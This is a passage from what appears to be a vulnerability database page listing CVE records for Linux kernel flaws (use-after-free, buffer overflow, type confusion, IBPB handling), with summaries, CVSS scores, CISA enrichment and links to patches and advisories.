"NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H", "version": "3.1" } } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-120", "description": "CWE-120 Buffer Overflow", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "dateUpdated": "2023-05-03T00:00:00", "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e", "shortName": "Anolis" }, "references": [ { "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2071" }, { "name": "DSA-5324", "tags": [ "vendor-advisory" ], "url": "https://www.debian.org/security/2023/dsa-5324" }, { "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html" }, { "name": "[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" } ], "source": { "defect": [ "https://bugzilla.openanolis.cn/show_bug.cgi?id=2071" ], "discovery": "INTERNAL" }, "title": "There is an out-of-bounds write vulnerability in vmwgfx driver", "x_generator": { "engine": "Vulnogram 0.0.9" } } }, "cveMetadata": { "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e", "assignerShortName": "Anolis", "cveId": "CVE-2022-36280", "datePublished": "2022-09-09T14:39:50.986805Z", "dateReserved": "2022-09-07T00:00:00", "dateUpdated": "2024-09-17T00:01:20.651Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1" }
CVE-2023-0266 (GCVE-0-2023-0266)
Vulnerability from cvelistv5
Published
2023-01-30 13:09
Modified
2025-09-15 20:44
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
A use after free vulnerability exists in the ALSA PCM package in the Linux Kernel. SNDRV_CTL_IOCTL_ELEM_{READ|WRITE}32 is missing locks that can be used in a use-after-free that can result in a priviledge escalation to gain ring0 access from the system user. We recommend upgrading past commit 56b88b50565cd8b946a2d00b0c83927b7ebb055e
References
URL | Tags | |||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
Impacted products
Vendor | Product | Version | ||
---|---|---|---|---|
Linux | Linux Kernel |
Version: 4.14 |
{ "containers": { "adp": [ { "providerMetadata": { "dateUpdated": "2024-08-02T05:02:44.150Z", "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE" }, "references": [ { "tags": [ "x_transferred" ], "url": "https://github.com/torvalds/linux/commit/becf9e5d553c2389d857a3c178ce80fdb34a02e1" }, { "tags": [ "x_transferred" ], "url": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/stable-queue.git/tree/queue-5.10/alsa-pcm-move-rwsem-lock-inside-snd_ctl_elem_read-to-prevent-uaf.patch?id=72783cf35e6c55bca84c4bb7b776c58152856fd4" }, { "tags": [ "x_transferred" ], "url": "https://github.com/torvalds/linux/commit/56b88b50565cd8b946a2d00b0c83927b7ebb055e" }, { "tags": [ "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" } ], "title": "CVE Program Container" }, { "metrics": [ { "other": { "content": { "id": "CVE-2023-0266", "options": [ { "Exploitation": "active" }, { "Automatable": "no" }, { "Technical Impact": "total" } ], "role": "CISA Coordinator", "timestamp": "2025-01-29T15:07:49.761602Z", "version": "2.0.3" }, "type": "ssvc" } }, { "other": { "content": { "dateAdded": "2023-03-30", "reference": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-0266" }, "type": "kev" } } ], "providerMetadata": { "dateUpdated": "2025-09-15T20:44:54.394Z", "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP" }, "title": "CISA ADP Vulnrichment" } ], "cna": { "affected": [ { "defaultStatus": "unaffected", "packageName": "ALSA pcm", "product": "Linux Kernel", "repo": "https://git.kernel.org", "vendor": "Linux", "versions": [ { "lessThan": "56b88b50565cd8b946a2d00b0c83927b7ebb055e", "status": "affected", "version": "4.14", "versionType": "git" } ] } ], "datePublic": "2023-01-13T00:00:00.000Z", "descriptions": [ { "lang": "en", "supportingMedia": [ { "base64": false, "type": "text/html", "value": "A use after free vulnerability exists in the ALSA PCM package in the Linux Kernel.\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003e\u0026nbsp;SNDRV_CTL_IOCTL_ELEM_{READ|WRITE}32 is missing locks that can be used in a use-after-free that can result in a priviledge escalation to gain ring0 access from the system user. We recommend upgrading past commit\u0026nbsp;56b88b50565cd8b946a2d00b0c83927b7ebb055e\u003c/span\u003e\u003cbr\u003e" } ], "value": "A use after free vulnerability exists in the ALSA PCM package in the Linux Kernel.\u00a0SNDRV_CTL_IOCTL_ELEM_{READ|WRITE}32 is missing locks that can be used in a use-after-free that can result in a priviledge escalation to gain ring0 access from the system user. We recommend upgrading past commit\u00a056b88b50565cd8b946a2d00b0c83927b7ebb055e" } ], "impacts": [ { "capecId": "CAPEC-233", "descriptions": [ { "lang": "en", "value": "CAPEC-233 Privilege Escalation" } ] } ], "metrics": [ { "cvssV3_1": { "attackComplexity": "HIGH", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.9, "baseSeverity": "HIGH", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:H", "version": "3.1" }, "format": "CVSS", "scenarios": [ { "lang": "en", "value": "GENERAL" } ] } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-416", "description": "CWE-416 Use After Free", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "dateUpdated": "2023-05-03T13:06:14.455Z", "orgId": "14ed7db2-1595-443d-9d34-6215bf890778", "shortName": "Google" }, "references": [ { "url": "https://github.com/torvalds/linux/commit/becf9e5d553c2389d857a3c178ce80fdb34a02e1" }, { "url": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/stable-queue.git/tree/queue-5.10/alsa-pcm-move-rwsem-lock-inside-snd_ctl_elem_read-to-prevent-uaf.patch?id=72783cf35e6c55bca84c4bb7b776c58152856fd4" }, { "url": "https://github.com/torvalds/linux/commit/56b88b50565cd8b946a2d00b0c83927b7ebb055e" }, { "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" } ], "source": { "discovery": "UNKNOWN" }, "title": "Use after free in SNDRV_CTL_IOCTL_ELEM in Linux Kernel", "x_generator": { "engine": "Vulnogram 0.1.0-dev" } } }, "cveMetadata": { "assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778", "assignerShortName": "Google", "cveId": "CVE-2023-0266", "datePublished": "2023-01-30T13:09:32.141Z", "dateReserved": "2023-01-13T07:58:13.390Z", "dateUpdated": "2025-09-15T20:44:54.394Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1" }
CVE-2023-0179 (GCVE-0-2023-0179)
Vulnerability from cvelistv5
Published
2023-03-27 00:00
Modified
2025-02-19 16:12
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A buffer overflow vulnerability was found in the Netfilter subsystem in the Linux Kernel. This issue could allow the leakage of both stack and heap addresses, and potentially allow Local Privilege Escalation to the root user via arbitrary code execution.
References
{ "containers": { "adp": [ { "providerMetadata": { "dateUpdated": "2024-08-02T05:02:43.760Z", "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE" }, "references": [ { "tags": [ "x_transferred" ], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2161713" }, { "tags": [ "x_transferred" ], "url": "https://seclists.org/oss-sec/2023/q1/20" }, { "tags": [ "x_transferred" ], "url": "http://packetstormsecurity.com/files/171601/Kernel-Live-Patch-Security-Notice-LNS-0093-1.html" }, { "tags": [ "x_transferred" ], "url": "https://security.netapp.com/advisory/ntap-20230511-0003/" } ], "title": "CVE Program Container" }, { "metrics": [ { "other": { "content": { "id": "CVE-2023-0179", "options": [ { "Exploitation": "none" }, { "Automatable": "no" }, { "Technical Impact": "total" } ], "role": "CISA Coordinator", "timestamp": "2025-02-19T16:11:54.896562Z", "version": "2.0.3" }, "type": "ssvc" } } ], "providerMetadata": { "dateUpdated": "2025-02-19T16:12:13.054Z", "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP" }, "title": "CISA ADP Vulnrichment" } ], "cna": { "affected": [ { "product": "kernel", "vendor": "n/a", "versions": [ { "status": "affected", "version": "unknown" } ] } ], "descriptions": [ { "lang": "en", "value": "A buffer overflow vulnerability was found in the Netfilter subsystem in the Linux Kernel. This issue could allow the leakage of both stack and heap addresses, and potentially allow Local Privilege Escalation to the root user via arbitrary code execution." } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-190", "description": "CWE-190", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "dateUpdated": "2023-05-11T00:00:00.000Z", "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749", "shortName": "redhat" }, "references": [ { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2161713" }, { "url": "https://seclists.org/oss-sec/2023/q1/20" }, { "url": "http://packetstormsecurity.com/files/171601/Kernel-Live-Patch-Security-Notice-LNS-0093-1.html" }, { "url": "https://security.netapp.com/advisory/ntap-20230511-0003/" } ] } }, "cveMetadata": { "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749", "assignerShortName": "redhat", "cveId": "CVE-2023-0179", "datePublished": "2023-03-27T00:00:00.000Z", "dateReserved": "2023-01-11T00:00:00.000Z", "dateUpdated": "2025-02-19T16:12:13.054Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1" }
CVE-2023-23455 (GCVE-0-2023-23455)
Vulnerability from cvelistv5
Published
2023-01-12 00:00
Modified
2025-03-20 20:54
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
atm_tc_enqueue in net/sched/sch_atm.c in the Linux kernel through 6.1.4 allows attackers to cause a denial of service because of type confusion (non-negative numbers can sometimes indicate a TC_ACT_SHOT condition rather than valid classification results).
References
URL | Tags | |||||||||||||||||||
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|
{ "containers": { "adp": [ { "providerMetadata": { "dateUpdated": "2024-08-02T10:28:40.920Z", "orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE" }, "references": [ { "tags": [ "x_transferred" ], "url": "https://www.openwall.com/lists/oss-security/2023/01/10/1" }, { "tags": [ "x_transferred" ], "url": "https://www.openwall.com/lists/oss-security/2023/01/10/4" }, { "tags": [ "x_transferred" ], "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a2965c7be0522eaa18808684b7b82b248515511b" }, { "name": "DSA-5324", "tags": [ "vendor-advisory", "x_transferred" ], "url": "https://www.debian.org/security/2023/dsa-5324" }, { "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html" }, { "name": "[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update", "tags": [ "mailing-list", "x_transferred" ], "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" } ], "title": "CVE Program Container" }, { "metrics": [ { "cvssV3_1": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" } }, { "other": { "content": { "id": "CVE-2023-23455", "options": [ { "Exploitation": "none" }, { "Automatable": "no" }, { "Technical Impact": "partial" } ], "role": "CISA Coordinator", "timestamp": "2025-03-06T15:57:31.738543Z", "version": "2.0.3" }, "type": "ssvc" } } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-843", "description": "CWE-843 Access of Resource Using Incompatible Type (\u0027Type Confusion\u0027)", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "dateUpdated": "2025-03-20T20:54:48.320Z", "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP" }, "title": "CISA ADP Vulnrichment" } ], "cna": { "affected": [ { "product": "n/a", "vendor": "n/a", "versions": [ { "status": "affected", "version": "n/a" } ] } ], "descriptions": [ { "lang": "en", "value": "atm_tc_enqueue in net/sched/sch_atm.c in the Linux kernel through 6.1.4 allows attackers to cause a denial of service because of type confusion (non-negative numbers can sometimes indicate a TC_ACT_SHOT condition rather than valid classification results)." } ], "problemTypes": [ { "descriptions": [ { "description": "n/a", "lang": "en", "type": "text" } ] } ], "providerMetadata": { "dateUpdated": "2023-05-03T00:00:00.000Z", "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca", "shortName": "mitre" }, "references": [ { "url": "https://www.openwall.com/lists/oss-security/2023/01/10/1" }, { "url": "https://www.openwall.com/lists/oss-security/2023/01/10/4" }, { "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a2965c7be0522eaa18808684b7b82b248515511b" }, { "name": "DSA-5324", "tags": [ "vendor-advisory" ], "url": "https://www.debian.org/security/2023/dsa-5324" }, { "name": "[debian-lts-announce] 20230302 [SECURITY] [DLA 3349-1] linux-5.10 security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2023/03/msg00000.html" }, { "name": "[debian-lts-announce] 20230503 [SECURITY] [DLA 3403-1] linux security update", "tags": [ "mailing-list" ], "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" } ] } }, "cveMetadata": { "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca", "assignerShortName": "mitre", "cveId": "CVE-2023-23455", "datePublished": "2023-01-12T00:00:00.000Z", "dateReserved": "2023-01-12T00:00:00.000Z", "dateUpdated": "2025-03-20T20:54:48.320Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1" }
CVE-2023-0590 (GCVE-0-2023-0590)
Vulnerability from cvelistv5
Published
2023-03-23 00:00
Modified
2024-08-02 05:17
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A use-after-free flaw was found in qdisc_graft in net/sched/sch_api.c in the Linux Kernel due to a race problem. This flaw leads to a denial of service issue. If patch ebda44da44f6 ("net: sched: fix race condition in qdisc_graft()") not applied yet, then kernel could be affected.
References
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CVE-2023-0045 (GCVE-0-2023-0045)
Vulnerability from cvelistv5
Published
2023-04-25 22:44
Modified
2025-02-13 16:38
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-610 - Externally Controlled Reference to a Resource in Another Sphere
Summary
The current implementation of the prctl syscall does not issue an IBPB immediately during the syscall. The ib_prctl_set function updates the Thread Information Flags (TIFs) for the task and updates the SPEC_CTRL MSR on the function __speculation_ctrl_update, but the IBPB is only issued on the next schedule, when the TIF bits are checked. This leaves the victim vulnerable to values already injected on the BTB, prior to the prctl syscall. The patch that added the support for the conditional mitigation via prctl (ib_prctl_set) dates back to the kernel 4.9.176.
We recommend upgrading past commit a664ec9158eeddd75121d39c9a0758016097fa96
References
URL | Tags | ||||||||||||||||
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Impacted products
Vendor | Product | Version | ||
---|---|---|---|---|
Linux | Linux Kernel |
Version: 9137bb27e60e |
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The ib_prctl_set \u0026nbsp;function updates the Thread Information Flags (TIFs) for the task and updates the SPEC_CTRL MSR on the function __speculation_ctrl_update, but the IBPB is only issued on the next schedule, when the TIF bits are checked. This leaves the victim vulnerable to values already injected on the BTB, prior to the prctl syscall. \u0026nbsp;The patch that added the support for the conditional mitigation via prctl (ib_prctl_set) dates back to the kernel 4.9.176.\u003cbr\u003e\u003cbr\u003e\u003c/span\u003eWe recommend upgrading past commit\u0026nbsp;a664ec9158eeddd75121d39c9a0758016097fa96\u003cbr\u003e\u003cbr\u003e" } ], "value": "The current implementation of the prctl syscall does not issue an IBPB immediately during the syscall. The ib_prctl_set \u00a0function updates the Thread Information Flags (TIFs) for the task and updates the SPEC_CTRL MSR on the function __speculation_ctrl_update, but the IBPB is only issued on the next schedule, when the TIF bits are checked. This leaves the victim vulnerable to values already injected on the BTB, prior to the prctl syscall. \u00a0The patch that added the support for the conditional mitigation via prctl (ib_prctl_set) dates back to the kernel 4.9.176.\n\nWe recommend upgrading past commit\u00a0a664ec9158eeddd75121d39c9a0758016097fa96" } ], "impacts": [ { "capecId": "CAPEC-131", "descriptions": [ { "lang": "en", "value": "CAPEC-131 Resource Leak Exposure" } ] } ], "metrics": [ { "cvssV3_1": { "attackComplexity": "HIGH", "attackVector": "LOCAL", "availabilityImpact": "NONE", "baseScore": 4.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1" }, "format": "CVSS", "scenarios": [ { "lang": "en", "value": "GENERAL" } ] } ], "problemTypes": [ { "descriptions": [ { "cweId": "CWE-610", "description": "CWE-610 Externally Controlled Reference to a Resource in Another Sphere", "lang": "en", "type": "CWE" } ] } ], "providerMetadata": { "dateUpdated": "2023-07-23T01:41:15.247Z", "orgId": "14ed7db2-1595-443d-9d34-6215bf890778", "shortName": "Google" }, "references": [ { "url": "https://git.kernel.org/tip/a664ec9158eeddd75121d39c9a0758016097fa96" }, { "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00005.html" }, { "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00006.html" }, { "url": "https://security.netapp.com/advisory/ntap-20230714-0001/" }, { "url": "https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8" } ], "source": { "discovery": "EXTERNAL" }, "title": "Incorrect indirect branch prediction barrier in the Linux Kernel", "x_generator": { "engine": "Vulnogram 0.1.0-dev" } } }, "cveMetadata": { "assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778", "assignerShortName": "Google", "cveId": "CVE-2023-0045", "datePublished": "2023-04-25T22:44:57.262Z", "dateReserved": "2023-01-04T10:07:20.469Z", "dateUpdated": "2025-02-13T16:38:41.984Z", "state": "PUBLISHED" }, "dataType": "CVE_RECORD", "dataVersion": "5.1" }
CVE-2023-0122 (GCVE-0-2023-0122)
Vulnerability from cvelistv5
Published
2023-01-17 00:00
Modified
2025-04-04 18:50
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A NULL pointer dereference vulnerability in the Linux kernel NVMe functionality, in nvmet_setup_auth(), allows an attacker to perform a Pre-Auth Denial of Service (DoS) attack on a remote machine. Affected versions v6.0-rc1 to v6.0-rc3, fixed in v6.0-rc4.
References
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Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
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